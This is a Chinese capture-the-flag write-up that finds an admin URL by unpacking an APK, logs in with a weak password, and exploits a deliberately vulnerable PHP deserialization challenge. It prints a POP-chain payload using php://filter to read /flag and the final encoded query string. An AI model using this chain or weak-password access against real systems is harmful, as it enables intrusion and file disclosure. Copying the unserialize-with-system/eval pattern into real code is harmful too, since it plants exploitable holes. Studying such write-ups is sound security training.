本题根据真实渗透场景来出的,一般来讲这也是一种渗透测试的重要思路。最后的进入后台你可以理解为有一个模板文件的修改,考察代码审计。
apk分析

进入官网,发现有一些最新的资讯和评论,关于一个app。

找到对应的下载地址。一般来讲apk的分析是我们找到一些web页面的重要手段。很可能我们能够找到app的后台地址。因此找到这个apk然后下载。

分析apk ,这里考虑到很多都是ctf新生,因此没有利用一些分析工具去找url而是利用了更加直接的方式。两种方式找到对应的后台地址url
方式一
逆向手应该都有安卓模拟器,直接apk安装到模拟器上。或者直接安装到手机上。启动app就直接有了web后台地址。

方式二
misc 手应该需要会,apk本质也是个压缩包。把apk后缀改成zip然后解压。直接搜flag
但是有一点要注意,app打包之后xml文件是二进制。因此也考察了选手对于grep的使用情况

1 2 3
| grep -a -r "flag" .
# 搜索二进制 递归搜索
|


访问后台地址
后台admin
终于找到后台地址,弱口令进去
反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| <?php error_reporting(0); class K1T0 { protected $file = 'FLAG.php'; public $test; public function __construct($file) { $this->file = $file; } public function test() { system($this->test); } function __toString() { if (!empty($this->file)) { if (!preg_match('/filter/', $this->file)) { echo $this->file; printf("再试试"); exit(); } else { include($this->file); }
} return "successful guy!!!"; }
public function kkk() { eval ($this->test); } } class APT { public $eth0; public $eth1; function __wakeup() { echo $this->eth0; } }
if (!isset($_GET['file'])) { show_source(__FILE__); } else { $file = base64_decode($_GET['file']); unserialize($file); } ?>
|
其实这个序列化很简单链子是 APT-> K1T0 触发魔术方法 toString
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php error_reporting(0); class K1T0 { protected $file = 'php://filter/read=convert.base64-encode/resource=/flag'; public $test;
function __toString() { if (!empty($this->file)) { if (!preg_match( "filter",$this->file)) { printf("再试试"); exit(); } else{ include($this->file); }
} return "successful guy!!!"; } } class APT { public $eth0; public $eth1;
}
$a=new APT(); $a->eth0=new K1T0(); echo base64_encode(serialize($a)); ?>
?file=TzozOiJBUFQiOjI6e3M6NDoiZXRoMCI7Tzo0OiJLMVQwIjoyOntzOjc6IgAqAGZpbGUiO3M6NTQ6InBocDovL2ZpbHRlci9yZWFkPWNvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT0vZmxhZyI7czo0OiJ0ZXN0IjtOO31zOjQ6ImV0aDEiO047fQ
|
你可能会读取 flag.php 但是是在/flag (贾学长的想法—–)
总结
题目不算很难,基本上路径上的路都给你铺好了。但是这确实一条很常见的渗透思路的路径,或许你之后的渗透中也能用上这种方式找到后台。